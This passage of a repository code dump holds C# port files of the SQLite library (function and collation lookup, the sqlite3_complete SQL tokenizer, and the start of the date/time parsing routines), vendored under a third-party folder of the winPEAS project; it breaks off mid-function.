** Parameter zName points to a UTF-8 encoded string nName bytes long. ** Return the CollSeq* pointer for the collation sequence named zName ** for the encoding 'enc' from the database 'db'. ** ** If the entry specified is not found and 'create' is true, then create a ** new entry. Otherwise return NULL. ** ** A separate function sqlite3LocateCollSeq() is a wrapper around ** this routine. sqlite3LocateCollSeq() invokes the collation factory ** if necessary and generates an error message if the collating sequence ** cannot be found. ** ** See also: sqlite3LocateCollSeq(), sqlite3GetCollSeq() */ static CollSeq sqlite3FindCollSeq( sqlite3 db, u8 enc, string zName, u8 create ) { CollSeq[] pColl; if ( zName != null ) { pColl = findCollSeqEntry( db, zName, create ); } else { pColl = new CollSeq[enc]; pColl[enc - 1] = db.pDfltColl; } Debug.Assert( SQLITE_UTF8 == 1 && SQLITE_UTF16LE == 2 && SQLITE_UTF16BE == 3 ); Debug.Assert( enc >= SQLITE_UTF8 && enc <= SQLITE_UTF16BE ); if ( pColl != null ) { enc -= 1; // if (pColl != null) pColl += enc - 1; return pColl[enc]; } else return null; } /* During the search for the best function definition, this procedure ** is called to test how well the function passed as the first argument ** matches the request for a function with nArg arguments in a system ** that uses encoding enc. The value returned indicates how well the ** request is matched. A higher value indicates a better match. ** ** The returned value is always between 0 and 6, as follows: ** ** 0: Not a match, or if nArg<0 and the function is has no implementation. ** 1: A variable arguments function that prefers UTF-8 when a UTF-16 ** encoding is requested, or vice versa. ** 2: A variable arguments function that uses UTF-16BE when UTF-16LE is ** requested, or vice versa. ** 3: A variable arguments function using the same text encoding. ** 4: A function with the exact number of arguments requested that ** prefers UTF-8 when a UTF-16 encoding is requested, or vice versa. ** 5: A function with the exact number of arguments requested that ** prefers UTF-16LE when UTF-16BE is requested, or vice versa. ** 6: An exact match. ** */ static int matchQuality( FuncDef p, int nArg, int enc ) { int match = 0; if ( p.nArg == -1 || p.nArg == nArg || ( nArg == -1 && ( p.xFunc != null || p.xStep != null ) ) ) { match = 1; if ( p.nArg == nArg || nArg == -1 ) { match = 4; } if ( enc == p.iPrefEnc ) { match += 2; } else if ( ( enc == SQLITE_UTF16LE && p.iPrefEnc == SQLITE_UTF16BE ) || ( enc == SQLITE_UTF16BE && p.iPrefEnc == SQLITE_UTF16LE ) ) { match += 1; } } return match; } /* ** Search a FuncDefHash for a function with the given name. Return ** a pointer to the matching FuncDef if found, or 0 if there is no match. */ static FuncDef functionSearch( FuncDefHash pHash, /* Hash table to search */ int h, /* Hash of the name */ string zFunc, /* Name of function */ int nFunc /* Number of bytes in zFunc */ ) { FuncDef p; for ( p = pHash.a[h] ; p != null ; p = p.pHash ) { if ( sqlite3StrNICmp( p.zName, zFunc, nFunc ) == 0 && p.zName.Length == nFunc ) { return p; } } return null; } /* ** Insert a new FuncDef into a FuncDefHash hash table. */ static void sqlite3FuncDefInsert( FuncDefHash pHash, /* The hash table into which to insert */ FuncDef pDef /* The function definition to insert */ ) { FuncDef pOther; int nName = sqlite3Strlen30( pDef.zName ); u8 c1 = (u8)pDef.zName[0]; int h = ( sqlite3UpperToLower[c1] + nName ) % ArraySize( pHash.a ); pOther = functionSearch( pHash, h, pDef.zName, nName ); if ( pOther != null ) { Debug.Assert( pOther != pDef && pOther.pNext != pDef ); pDef.pNext = pOther.pNext; pOther.pNext = pDef; } else { pDef.pNext = null; pDef.pHash = pHash.a[h]; pHash.a[h] = pDef; } } /* ** Locate a user function given a name, a number of arguments and a flag ** indicating whether the function prefers UTF-16 over UTF-8. Return a ** pointer to the FuncDef structure that defines that function, or return ** NULL if the function does not exist. ** ** If the createFlag argument is true, then a new (blank) FuncDef ** structure is created and liked into the "db" structure if a ** no matching function previously existed. When createFlag is true ** and the nArg parameter is -1, then only a function that accepts ** any number of arguments will be returned. ** ** If createFlag is false and nArg is -1, then the first valid ** function found is returned. A function is valid if either xFunc ** or xStep is non-zero. ** ** If createFlag is false, then a function with the required name and ** number of arguments may be returned even if the eTextRep flag does not ** match that requested. */ static FuncDef sqlite3FindFunction( sqlite3 db, /* An open database */ string zName, /* Name of the function. Not null-terminated */ int nName, /* Number of characters in the name */ int nArg, /* Number of arguments. -1 means any number */ u8 enc, /* Preferred text encoding */ u8 createFlag /* Create new entry if true and does not otherwise exist */ ) { FuncDef p; /* Iterator variable */ FuncDef pBest = null; /* Best match found so far */ int bestScore = 0; int h; /* Hash value */ Debug.Assert( enc == SQLITE_UTF8 || enc == SQLITE_UTF16LE || enc == SQLITE_UTF16BE ); h = ( sqlite3UpperToLower[(u8)zName[0]] + nName ) % ArraySize( db.aFunc.a ); /* First search for a match amongst the application-defined functions. */ p = functionSearch( db.aFunc, h, zName, nName ); while ( p != null ) { int score = matchQuality( p, nArg, enc ); if ( score > bestScore ) { pBest = p; bestScore = score; } p = p.pNext; } /* If no match is found, search the built-in functions. ** ** Except, if createFlag is true, that means that we are trying to ** install a new function. Whatever FuncDef structure is returned will ** have fields overwritten with new information appropriate for the ** new function. But the FuncDefs for built-in functions are read-only. ** So we must not search for built-ins when creating a new function. */ if ( 0 == createFlag && pBest == null ) { #if SQLITE_OMIT_WSD FuncDefHash pHash = GLOBAL( FuncDefHash, sqlite3GlobalFunctions ); #else FuncDefHash pHash = sqlite3GlobalFunctions; #endif p = functionSearch( pHash, h, zName, nName ); while ( p != null ) { int score = matchQuality( p, nArg, enc ); if ( score > bestScore ) { pBest = p; bestScore = score; } p = p.pNext; } } /* If the createFlag parameter is true and the search did not reveal an ** exact match for the name, number of arguments and encoding, then add a ** new entry to the hash table and return it. */ if ( createFlag != 0 && ( bestScore < 6 || pBest.nArg != nArg ) && ( pBest = new FuncDef() ) != null ) { //sqlite3DbMallocZero(db, sizeof(*pBest)+nName+1))!=0 ){ //pBest.zName = (char *)&pBest[1]; pBest.nArg = (i16)nArg; pBest.iPrefEnc = enc; pBest.zName = zName; //memcpy(pBest.zName, zName, nName); //pBest.zName[nName] = 0; sqlite3FuncDefInsert( db.aFunc, pBest ); } if ( pBest != null && ( pBest.xStep != null || pBest.xFunc != null || createFlag != 0 ) ) { return pBest; } return null; } /* ** Free all resources held by the schema structure. The void* argument points ** at a Schema struct. This function does not call //sqlite3DbFree(db, ) on the ** pointer itself, it just cleans up subsiduary resources (i.e. the contents ** of the schema hash tables). ** ** The Schema.cache_size variable is not cleared. */ static void sqlite3SchemaFree( Schema p ) { Hash temp1; Hash temp2; HashElem pElem; Schema pSchema = p; temp1 = pSchema.tblHash; temp2 = pSchema.trigHash; sqlite3HashInit( pSchema.trigHash ); sqlite3HashClear( pSchema.idxHash ); for ( pElem = sqliteHashFirst( temp2 ) ; pElem != null ; pElem = sqliteHashNext( pElem ) ) { Trigger pTrigger = (Trigger)sqliteHashData( pElem ); sqlite3DeleteTrigger( null, ref pTrigger ); } sqlite3HashClear( temp2 ); sqlite3HashInit( pSchema.trigHash ); for ( pElem = temp1.first ; pElem != null ; pElem = pElem.next )//sqliteHashFirst(&temp1); pElem; pElem = sqliteHashNext(pElem)) { Table pTab = (Table)pElem.data; //sqliteHashData(pElem); Debug.Assert( pTab.dbMem == null ); sqlite3DeleteTable( ref pTab ); } sqlite3HashClear( temp1 ); pSchema.pSeqTab = null; pSchema.flags = (u16)( pSchema.flags & ~DB_SchemaLoaded ); } /* ** Find and return the schema associated with a BTree. Create ** a new one if necessary. */ static Schema sqlite3SchemaGet( sqlite3 db, Btree pBt ) { Schema p; if ( pBt != null ) { p = sqlite3BtreeSchema( pBt, -1, (dxFreeSchema)sqlite3SchemaFree );//Schema.Length, sqlite3SchemaFree); } else { p = new Schema(); // (Schema*)sqlite3MallocZero(Schema).Length; } if ( p == null ) { //// db.mallocFailed = 1; } else if ( 0 == p.file_format ) { sqlite3HashInit( p.tblHash ); sqlite3HashInit( p.idxHash ); sqlite3HashInit( p.trigHash ); p.enc = SQLITE_UTF8; } return p; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/complete_c.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { using u8 = System.Byte; public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** An tokenizer for SQL ** ** This file contains C code that implements the sqlite3_complete() API. ** This code used to be part of the tokenizer.c source file. But by ** separating it out, the code will be automatically omitted from ** static links that do not use it. ** ** $Id: complete.c,v 1.8 2009/04/28 04:46:42 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" #if !SQLITE_OMIT_COMPLETE /* ** This is defined in tokenize.c. We just have to import the definition. */ #if !SQLITE_AMALGAMATION #if SQLITE_ASCII //extern const char sqlite3IsAsciiIdChar[]; //#define IdChar(C) (((c=C)&0x80)!=0 || (c>0x1f && sqlite3IsAsciiIdChar[c-0x20])) static bool IdChar( u8 C ) { u8 c; return ( ( c = C ) & 0x80 ) != 0 || ( c > 0x1f && sqlite3IsAsciiIdChar[c - 0x20] ); } #endif #if SQLITE_EBCDIC //extern const char sqlite3IsEbcdicIdChar[]; //#define IdChar(C) (((c=C)>=0x42 && sqlite3IsEbcdicIdChar[c-0x40])) #endif #endif // * SQLITE_AMALGAMATION */ /* ** Token types used by the sqlite3_complete() routine. See the header ** comments on that procedure for additional information. */ const int tkSEMI = 0; const int tkWS = 1; const int tkOTHER = 2; const int tkEXPLAIN = 3; const int tkCREATE = 4; const int tkTEMP = 5; const int tkTRIGGER = 6; const int tkEND = 7; /* ** Return TRUE if the given SQL string ends in a semicolon. ** ** Special handling is require for CREATE TRIGGER statements. ** Whenever the CREATE TRIGGER keywords are seen, the statement ** must end with ";END;". ** ** This implementation uses a state machine with 7 states: ** ** (0) START At the beginning or end of an SQL statement. This routine ** returns 1 if it ends in the START state and 0 if it ends ** in any other state. ** ** (1) NORMAL We are in the middle of statement which ends with a single ** semicolon. ** ** (2) EXPLAIN The keyword EXPLAIN has been seen at the beginning of ** a statement. ** ** (3) CREATE The keyword CREATE has been seen at the beginning of a ** statement, possibly preceeded by EXPLAIN and/or followed by ** TEMP or TEMPORARY ** ** (4) TRIGGER We are in the middle of a trigger definition that must be ** ended by a semicolon, the keyword END, and another semicolon. ** ** (5) SEMI We've seen the first semicolon in the ";END;" that occurs at ** the end of a trigger definition. ** ** (6) END We've seen the ";END" of the ";END;" that occurs at the end ** of a trigger difinition. ** ** Transitions between states above are determined by tokens extracted ** from the input. The following tokens are significant: ** ** (0) tkSEMI A semicolon. ** (1) tkWS Whitespace ** (2) tkOTHER Any other SQL token. ** (3) tkEXPLAIN The "explain" keyword. ** (4) tkCREATE The "create" keyword. ** (5) tkTEMP The "temp" or "temporary" keyword. ** (6) tkTRIGGER The "trigger" keyword. ** (7) tkEND The "end" keyword. ** ** Whitespace never causes a state transition and is always ignored. ** ** If we compile with SQLITE_OMIT_TRIGGER, all of the computation needed ** to recognize the end of a trigger can be omitted. All we have to do ** is look for a semicolon that is not part of an string or comment. */ public static int sqlite3_complete( string zSql ) { int state = 0; /* Current state, using numbers defined in header comment */ int token; /* Value of the next token */ #if !SQLITE_OMIT_TRIGGER /* A complex statement machine used to detect the end of a CREATE TRIGGER ** statement. This is the normal case. */ u8[][] trans = new u8[][] { /* Token: */ /* State: ** SEMI WS OTHER EXPLAIN CREATE TEMP TRIGGER END */ /* 0 START: */ new u8[] { 0, 0, 1, 2, 3, 1, 1, 1, }, /* 1 NORMAL: */ new u8[]{ 0, 1, 1, 1, 1, 1, 1, 1, }, /* 2 EXPLAIN: */ new u8[]{ 0, 2, 2, 1, 3, 1, 1, 1, }, /* 3 CREATE: */ new u8[]{ 0, 3, 1, 1, 1, 3, 4, 1, }, /* 4 TRIGGER: */ new u8[]{ 5, 4, 4, 4, 4, 4, 4, 4, }, /* 5 SEMI: */ new u8[]{ 5, 5, 4, 4, 4, 4, 4, 6, }, /* 6 END: */ new u8[]{ 0, 6, 4, 4, 4, 4, 4, 4, }, }; #else /* If triggers are not suppored by this compile then the statement machine ** used to detect the end of a statement is much simplier */ static const u8 trans[2][3] = { /* Token: */ /* State: ** SEMI WS OTHER */ /* 0 START: */ { 0, 0, 1, }, /* 1 NORMAL: */ { 0, 1, 1, }, }; #endif // * SQLITE_OMIT_TRIGGER */ int zIdx = 0; while ( zIdx < zSql.Length ) { switch ( zSql[zIdx] ) { case ';': { /* A semicolon */ token = tkSEMI; break; } case ' ': case '\r': case '\t': case '\n': case '\f': { /* White space is ignored */ token = tkWS; break; } case '/': { /* C-style comments */ if ( zSql[zIdx + 1] != '*' ) { token = tkOTHER; break; } zIdx += 2; while ( zIdx < zSql.Length && zSql[zIdx] != '*' || zIdx < zSql.Length - 1 && zSql[zIdx + 1] != '/' ) { zIdx++; } if ( zIdx == zSql.Length ) return 0; zIdx++; token = tkWS; break; } case '-': { /* SQL-style comments from "--" to end of line */ if ( zSql[zIdx + 1] != '-' ) { token = tkOTHER; break; } while ( zIdx < zSql.Length && zSql[zIdx] != '\n' ) { zIdx++; } if ( zIdx == zSql.Length ) return state == 0 ? 1 : 0; token = tkWS; break; } case '[': { /* Microsoft-style identifiers in [...] */ zIdx++; while ( zIdx < zSql.Length && zSql[zIdx] != ']' ) { zIdx++; } if ( zIdx == zSql.Length ) return 0; token = tkOTHER; break; } case '`': /* Grave-accent quoted symbols used by MySQL */ case '"': /* single- and double-quoted strings */ case '\'': { int c = zSql[zIdx]; zIdx++; while ( zIdx < zSql.Length && zSql[zIdx] != c ) { zIdx++; } if ( zIdx == zSql.Length ) return 0; token = tkOTHER; break; } default: { int c; if ( IdChar( (u8)zSql[zIdx] ) ) { /* Keywords and unquoted identifiers */ int nId; for ( nId = 1 ; ( zIdx + nId ) < zSql.Length && IdChar( (u8)zSql[zIdx + nId] ) ; nId++ ) { } #if SQLITE_OMIT_TRIGGER token = tkOTHER; #else switch ( zSql[zIdx] ) { case 'c': case 'C': { if ( nId == 6 && sqlite3StrNICmp( zSql, zIdx, "create", 6 ) == 0 ) { token = tkCREATE; } else { token = tkOTHER; } break; } case 't': case 'T': { if ( nId == 7 && sqlite3StrNICmp( zSql, zIdx, "trigger", 7 ) == 0 ) { token = tkTRIGGER; } else if ( nId == 4 && sqlite3StrNICmp( zSql, zIdx, "temp", 4 ) == 0 ) { token = tkTEMP; } else if ( nId == 9 && sqlite3StrNICmp( zSql, zIdx, "temporary", 9 ) == 0 ) { token = tkTEMP; } else { token = tkOTHER; } break; } case 'e': case 'E': { if ( nId == 3 && sqlite3StrNICmp( zSql, zIdx, "end", 3 ) == 0 ) { token = tkEND; } else #if ! SQLITE_OMIT_EXPLAIN if ( nId == 7 && sqlite3StrNICmp( zSql, zIdx, "explain", 7 ) == 0 ) { token = tkEXPLAIN; } else #endif { token = tkOTHER; } break; } default: { token = tkOTHER; break; } } #endif // * SQLITE_OMIT_TRIGGER */ zIdx += nId - 1; } else { /* Operators and special symbols */ token = tkOTHER; } break; } } state = trans[state][token]; zIdx++; } return ( state == 0 ) ? 1 : 0; } #if ! SQLITE_OMIT_UTF16 /* ** This routine is the same as the sqlite3_complete() routine described ** above, except that the parameter is required to be UTF-16 encoded, not ** UTF-8. */ int sqlite3_complete16(const void *zSql){ sqlite3_value pVal; char const *zSql8; int rc = SQLITE_NOMEM; #if !SQLITE_OMIT_AUTOINIT rc = sqlite3_initialize(); if( rc !=0) return rc; #endif pVal = sqlite3ValueNew(0); sqlite3ValueSetStr(pVal, -1, zSql, SQLITE_UTF16NATIVE, SQLITE_STATIC); zSql8 = sqlite3ValueText(pVal, SQLITE_UTF8); if( zSql8 ){ rc = sqlite3_complete(zSql8); }else{ rc = SQLITE_NOMEM; } sqlite3ValueFree(pVal); return sqlite3ApiExit(0, rc); } #endif // * SQLITE_OMIT_UTF16 */ #endif // * SQLITE_OMIT_COMPLETE */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/date_c.cs ================================================ using System; using System.Diagnostics; using System.Text; using time_t = System.Int64; using sqlite3_int64 = System.Int64; using i64 = System.Int64; using u64 = System.UInt64; namespace winPEAS._3rdParty.SQLite.src { using sqlite3_value = CSSQLite.Mem; public partial class CSSQLite { /* ** 2003 October 31 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains the C functions that implement date and time ** functions for SQLite. ** ** There is only one exported symbol in this file - the function ** sqlite3RegisterDateTimeFunctions() found at the bottom of the file. ** All other code has file scope. ** ** $Id: date.c,v 1.107 2009/05/03 20:23:53 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* ** ** SQLite processes all times and dates as Julian Day numbers. The ** dates and times are stored as the number of days since noon ** in Greenwich on November 24, 4714 B.C. according to the Gregorian ** calendar system. ** ** 1970-01-01 00:00:00 is JD 2440587.5 ** 2000-01-01 00:00:00 is JD 2451544.5 ** ** This implemention requires years to be expressed as a 4-digit number ** which means that only dates between 0000-01-01 and 9999-12-31 can ** be represented, even though julian day numbers allow a much wider ** range of dates. ** ** The Gregorian calendar system is used for all dates and times, ** even those that predate the Gregorian calendar. Historians usually ** use the Julian calendar for dates prior to 1582-10-15 and for some ** dates afterwards, depending on locale. Beware of this difference. ** ** The conversion algorithms are implemented based on descriptions ** in the following text: ** ** Jean Meeus ** Astronomical Algorithms, 2nd Edition, 1998 ** ISBM 0-943396-61-1 ** Willmann-Bell, Inc ** Richmond, Virginia (USA) */ //#include "sqliteInt.h" //#include //#include //#include #if !SQLITE_OMIT_DATETIME_FUNCS /* ** On recent Windows platforms, the localtime_s() function is available ** as part of the "Secure CRT". It is essentially equivalent to ** localtime_r() available under most POSIX platforms, except that the ** order of the parameters is reversed. ** ** See http://msdn.microsoft.com/en-us/library/a442x3ye(VS.80).aspx. ** ** If the user has not indicated to use localtime_r() or localtime_s() ** already, check for an MSVC build environment that provides ** localtime_s(). */ #if !(HAVE_LOCALTIME_R) && !(HAVE_LOCALTIME_S) && (_MSC_VER) && (_CRT_INSECURE_DEPRECATE) #define HAVE_LOCALTIME_S #endif /* ** A structure for holding a single date and time. */ //typedef struct DateTime DateTime; public class DateTime { public sqlite3_int64 iJD; /* The julian day number times 86400000 */ public int Y, M, D; /* Year, month, and day */ public int h, m; /* Hour and minutes */ public int tz; /* Timezone offset in minutes */ public double s; /* Seconds */ public byte validYMD; /* True (1) if Y,M,D are valid */ public byte validHMS; /* True (1) if h,m,s are valid */ public byte validJD; /* True (1) if iJD is valid */ public byte validTZ; /* True (1) if tz is valid */ public void CopyTo( DateTime ct ) { ct.iJD = iJD; ct.Y = Y; ct.M = M; ct.D = D; ct.h = h; ct.m = m; ct.tz = tz; ct.s = s; ct.validYMD = validYMD; ct.validHMS = validHMS; ct.validJD = validJD; ct.validTZ = validJD; } }; /* ** Convert zDate into one or more integers. Additional arguments ** come in groups of 5 as follows: ** ** N number of digits in the integer ** min minimum allowed value of the integer ** max maximum allowed value of the integer ** nextC first character after the integer ** pVal where to write the integers value. ** ** Conversions continue until one with nextC==0 is encountered. ** The function returns the number of successful conversions. */ static int getDigits( string zDate, int N0, int min0, int max0, char nextC0, ref int pVal0, int N1, int min1, int max1, char nextC1, ref int pVal1 ) { int c0 = getDigits( zDate + '\0', N0, min0, max0, nextC0, ref pVal0 ); return c0 == 0 ? 0 : c0 + getDigits( zDate.Substring( zDate.IndexOf( nextC0 ) + 1 ) + '\0', N1, min1, max1, nextC1, ref pVal1 ); } static int getDigits( string zDate, int N0, int min0, int max0, char nextC0, ref int pVal0, int N1, int min1, int max1, char nextC1, ref int pVal1, int N2, int min2, int max2, char nextC2, ref int pVal2 ) { int c0 = getDigits( zDate + '\0', N0, min0, max0, nextC0, ref pVal0 ); if ( c0 == 0 ) return 0; string zDate1 = zDate.Substring( zDate.IndexOf( nextC0 ) + 1 ); int c1 = getDigits( zDate1 + '\0', N1, min1, max1, nextC1, ref pVal1 ); if ( c1 == 0 ) return c0; return c0 + c1 + getDigits( zDate1.Substring( zDate1.IndexOf( nextC1 ) + 1 ) + '\0', N2, min2, max2, nextC2, ref pVal2 ); } static int getDigits( string zDate, int N, int min, int max, char nextC, ref int pVal ) { //va_list ap; int val; //int N; //int min; //int max; //char nextC; //int pVal; int cnt = 0; //va_start( ap, zDate ); int zIndex = 0; //do //{ //N = (int)va_arg( ap, "int" ); //min = (int)va_arg( ap, "int" ); //max = (int)va_arg( ap, "int" ); //nextC = (char)va_arg( ap, "char" ); //pVal = (int)va_arg( ap, "int" ); val = 0; while ( N-- != 0 ) { if ( !sqlite3Isdigit( zDate[zIndex] ) ) { goto end_getDigits; } val = val * 10 + zDate[zIndex] - '0'; zIndex++; } if ( val < min || val > max || zIndex < zDate.Length && ( nextC != 0 && nextC != zDate[zIndex] ) ) { goto end_getDigits; } pVal = val; zIndex++; cnt++; //} while ( nextC != 0 && zIndex < zDate.Length ); end_getDigits: //va_end( ap ); return cnt; } /* ** Read text from z[] and convert into a floating point number. Return ** the number of digits converted. */ //#define getValue sqlite3AtoF /* ** Parse a timezone extension on the end of a date-time. ** The extension is of the form: ** ** (+/-)HH:MM ** ** ** Or the "zulu" notation: ** ** Z ** ** If the parse is successful, write the number of minutes ** of change in p.tz and return 0. If a parser error occurs, ** return non-zero. ** ** A missing specifier is not considered an error. */ static int parseTimezone( string zDate, DateTime p ) { int sgn = 0; int nHr = 0; int nMn = 0; char c; zDate = zDate.Trim();// while ( sqlite3Isspace( *(u8*)zDate ) ) { zDate++; } p.tz = 0; c = zDate.Length == 0 ? '\0' : zDate[0]; if ( c == '-' ) { sgn = -1; } else if ( c == '+' ) { sgn = +1; } else if ( c == 'Z' || c == 'z' ) { zDate = zDate.Substring( 1 ).Trim();//zDate++; goto zulu_time; } else { return c != '\0' ? 1 : 0; } //zDate++; if ( getDigits( zDate.Substring( 1 ), 2, 0, 14, ':', ref nHr, 2, 0, 59, '\0', ref nMn ) != 2 ) { return 1; } //zDate += 5; p.tz = sgn * ( nMn + nHr * 60 ); if ( zDate.Length == 6 ) zDate = ""; else if ( zDate.Length > 6 ) zDate = zDate.Substring( 6 ).Trim();// while ( sqlite3Isspace( *(u8*)zDate ) ) { zDate++; } zulu_time: return zDate != "" ? 1 : 0; } /* ** Parse times of the form HH:MM or HH:MM:SS or HH:MM:SS.FFFF. ** The HH, MM, and SS must each be exactly 2 digits. The ** fractional seconds FFFF can be one or more digits. ** ** Return 1 if there is a parsing error and 0 on success. */ static int parseHhMmSs( string zDate, DateTime p ) { int h = 0; int m = 0; int s = 0; double ms = 0.0; if ( getDigits( zDate, 2, 0, 24, ':', ref h, 2, 0, 59, '\0', ref m ) != 2 ) { return 1; } int zIndex = 5;// zDate += 5; if ( zIndex < zDate.Length && zDate[zIndex] == ':' ) { zIndex++;// zDate++; if ( getDigits( zDate.Substring( zIndex ), 2, 0, 59, '\0', ref s ) != 1 ) { return 1; } zIndex += 2;// zDate += 2; if ( zIndex + 1 < zDate.Length && zDate[zIndex] == '.' && sqlite3Isdigit( zDate[zIndex + 1] ) ) { double rScale = 1.0; zIndex++;// zDate++; while ( zIndex < zDate.Length && sqlite3Isdigit( zDate[zIndex] ) ) { ms = ms * 10.0 + zDate[zIndex] - '0'; rScale *= 10.0; zIndex++;//zDate++; } ms /= rScale; } } else { s = 0; } p.validJD = 0; p.validHMS = 1; p.h = h; p.m = m; p.s = s + ms; if ( zIndex < zDate.Length && parseTimezone( zDate.Substring( zIndex ), p ) != 0 ) return 1; p.validTZ = (byte)( ( p.tz != 0 ) ? 1 : 0 ); return 0; } /* ** Convert from YYYY-MM-DD HH:MM:SS to julian day. We always assume ** that the YYYY-MM-DD is according to the Gregorian calendar. ** ** Reference: Meeus page 61 */ static void computeJD( DateTime p ) { int Y, M, D, A, B, X1, X2; if ( p.validJD != 0 ) return; if ( p.validYMD != 0 ) { Y = p.Y; M = p.M; D = p.D; } else { Y = 2000; /* If no YMD specified, assume 2000-Jan-01 */ M = 1; D = 1; } if ( M <= 2 ) { Y--; M += 12; } A = Y / 100; B = 2 - A + ( A / 4 ); X1 = (int)( 36525 * ( Y + 4716 ) / 100 ); X2 = (int)( 306001 * ( M + 1 ) / 10000 ); p.iJD = (long)( ( X1 + X2 + D + B - 1524.5 ) * 86400000 ); p.validJD = 1; if ( p.validHMS != 0 ) { p.iJD += (long)( p.h * 3600000 + p.m * 60000 + p.s * 1000 ); if ( p.validTZ != 0 ) { p.iJD -= p.tz * 60000; p.validYMD = 0; p.validHMS = 0; p.validTZ = 0; } } } /* ** Parse dates of the form ** ** YYYY-MM-DD HH:MM:SS.FFF ** YYYY-MM-DD HH:MM:SS ** YYYY-MM-DD HH:MM ** YYYY-MM-DD ** ** Write the result into the DateTime structure and return 0 ** on success and 1 if the input string is not a well-formed ** date. */ static int parseYyyyMmDd( string zDate, DateTime p ) { int Y = 0; int M = 0; int D = 0; bool neg; int zIndex = 0; if ( zDate[zIndex] == '-' ) { zIndex++;// zDate++; neg = true; } else { neg = false; } if ( getDigits( zDate.Substring( zIndex ), 4, 0, 9999, '-', ref Y, 2, 1, 12, '-', ref M, 2, 1, 31, '\0', ref D ) != 3 ) { return 1; } zIndex += 10;// zDate += 10; while ( zIndex < zDate.Length && ( sqlite3Isspace( zDate[zIndex] ) || 'T' == zDate[zIndex] ) ) { zIndex++; }//zDate++; } if ( zIndex < zDate.Length && parseHhMmSs( zDate.Substring( zIndex ), p ) == 0 ) { /* We got the time */ } else if ( zIndex >= zDate.Length )// zDate[zIndex] == '\0') { p.validHMS = 0; } else { return 1; } p.validJD = 0; p.validYMD = 1; p.Y = neg ? -Y : Y; p.M = M; p.D = D; if ( p.validTZ != 0 ) { computeJD( p ); } return 0; } /* ** Set the time to the current time reported by the VFS */ static void setDateTimeToCurrent( sqlite3_context context, DateTime p ) { double r = 0; sqlite3 db = sqlite3_context_db_handle( context ); sqlite3OsCurrentTime( db.pVfs, ref r ); p.iJD = (sqlite3_int64)( r * 86400000.0 + 0.5 ); p.validJD = 1; } /* ** Attempt to parse the given string into a Julian Day Number. Return ** the number of errors. ** ** The following are acceptable forms for the input string: ** ** YYYY-MM-DD HH:MM:SS.FFF +/-HH:MM ** DDDD.DD ** now ** ** In the first form, the +/-HH:MM is always optional. The fractional ** seconds extension (the ".FFF") is optional. The seconds portion ** (":SS.FFF") is option. The year and date can be omitted as long ** as there is a time string. The time string can be omitted as long ** as there is a year and date. */ static int parseDateOrTime( sqlite3_context context, string zDate, ref DateTime p ) { int isRealNum = 0; /* Return from sqlite3IsNumber(). Not used */ if ( parseYyyyMmDd( zDate, p ) == 0 ) { return 0; } else if ( parseHhMmSs( zDate, p ) == 0 ) { return 0; } else if ( sqlite3StrICmp( zDate, "now" ) == 0 ) { setDateTimeToCurrent( context, p ); return 0; } else if ( sqlite3IsNumber( zDate, ref isRealNum, SQLITE_UTF8 ) != 0 ) { double r = 0; sqlite3AtoF( zDate, ref r );// getValue( zDate, ref r ); p.iJD = (sqlite3_int64)( r * 86400000.0 + 0.5 ); p.validJD = 1; return 0; } return 1; } /* ** Compute the Year, Month, and Day from the julian day number. */ static void computeYMD( DateTime p ) { int Z, A, B, C, D, E, X1; if ( p.validYMD != 0 ) return; if ( 0 == p.validJD ) { p.Y = 2000; p.M = 1; p.D = 1; } else { Z = (int)( ( p.iJD + 43200000 ) / 86400000 ); A = (int)( ( Z - 1867216.25 ) / 36524.25 ); A = Z + 1 + A - ( A / 4 ); B = A + 1524; C = (int)( ( B - 122.1 ) / 365.25 ); D = (int)( ( 36525 * C ) / 100 ); E = (int)( ( B - D ) / 30.6001 ); X1 = (int)( 30.6001 * E ); p.D = B - D - X1; p.M = E < 14 ? E - 1 : E - 13; p.Y = p.M > 2 ? C - 4716 : C - 4715; } p.validYMD = 1; } /* ** Compute the Hour, Minute, and Seconds from the julian day number. */ static void computeHMS( DateTime p ) { int s; if ( p.validHMS != 0 ) return; computeJD( p ); s = (int)( ( p.iJD + 43200000 ) % 86400000 ); p.s = s / 1000.0; s = (int)p.s; p.s -= s; p.h = s / 3600; s -= p.h * 3600; p.m = s / 60; p.s += s - p.m * 60; p.validHMS = 1; } /* ** Compute both YMD and HMS */ static void computeYMD_HMS( DateTime p ) { computeYMD( p ); computeHMS( p ); } /* ** Clear the YMD and HMS and the TZ */ static void clearYMD_HMS_TZ( DateTime p ) { p.validYMD = 0; p.validHMS = 0; p.validTZ = 0; } #if !SQLITE_OMIT_LOCALTIME /* ** Compute the difference (in milliseconds) ** between localtime and UTC (a.k.a. GMT) ** for the time value p where p is in UTC. */ static int localtimeOffset( DateTime p ) { DateTime x; DateTime y = new DateTime(); time_t t; x = p; computeYMD_HMS( x ); if ( x.Y < 1971 || x.Y >= 2038 ) { x.Y = 2000; x.M = 1; x.D = 1; x.h = 0; x.m = 0; x.s = 0.0; } else { int s = (int)( x.s + 0.5 ); x.s = s; } x.tz = 0; x.validJD = 0; computeJD( x ); t = (long)( x.iJD / 1000 - 210866760000L );// t = x.iJD/1000 - 21086676*(i64)10000; #if HAVE_LOCALTIME_R { struct tm sLocal; localtime_r(&t, sLocal); y.Y = sLocal.tm_year + 1900; y.M = sLocal.tm_mon + 1; y.D = sLocal.tm_mday; y.h = sLocal.tm_hour; y.m = sLocal.tm_min; y.s = sLocal.tm_sec; } #elif (HAVE_LOCALTIME_S) { struct tm sLocal; localtime_s(&sLocal, t); y.Y = sLocal.tm_year + 1900; y.M = sLocal.tm_mon + 1; y.D = sLocal.tm_mday; y.h 